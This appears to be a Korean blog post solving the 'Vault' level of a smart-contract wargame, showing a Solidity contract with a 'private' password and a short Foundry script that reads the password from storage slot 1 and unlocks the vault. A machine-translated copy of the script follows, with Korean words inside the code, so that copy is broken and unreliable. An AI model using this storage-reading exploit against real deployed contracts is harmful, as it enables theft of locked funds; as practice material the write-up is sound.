Prob

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Vault {
    bool public locked;
    bytes32 private password;

    constructor(bytes32 _password) {
        locked = true;
        password = _password;
    }

    function unlock(bytes32 _password) public {
        if (password == _password) {
            locked = false;
        }
    }
}

 

PoC

스토리지 조회하면 나온다.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import {Script, console} from "forge-std/Script.sol";

interface IVault {
    function unlock(bytes32 _password) external;
    function locked() external view returns (bool);
}

contract VaultAttack is Script {
    function run() public {
        uint256 pk = pk;
        address vaultAddress = 0x1e13911fBBa01aFad8a23413E420F9039D98dBd9;
        
        vm.startBroadcast(pk);

        bytes32 password = vm.load(vaultAddress, bytes32(uint256(1)));
        
        IVault(vaultAddress).unlock(password);

        vm.stopBroadcast();
    }
}
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; "forge-std/Script.sol"에서 {스크립트, 콘솔}을 가져옵니다. 인터페이스 IVault { 기능 잠금 해제(bytes32 _password) 외부; 함수 잠김() 외부 보기 반환(bool); } 계약 VaultAttack은 Script { function run() public { uint256 pk = pk; 주소 VaultAddress = 0x1e13911fBBa01aFad8a23413E420F9039D98dBd9; vm.startBroadcast(pk); bytes32 비밀번호 = vm.load(vaultAddress, bytes32(uint256(1))); IVault(vaultAddress).unlock(비밀번호); vm.stopBroadcast(); } }
 

'wargame' 카테고리의 다른 글

Telephone  (0) 2024.11.13
Fallout  (0) 2024.11.13
Token  (0) 2024.11.13
King  (0) 2024.11.13
Fallback  (0) 2024.11.12

+ Recent posts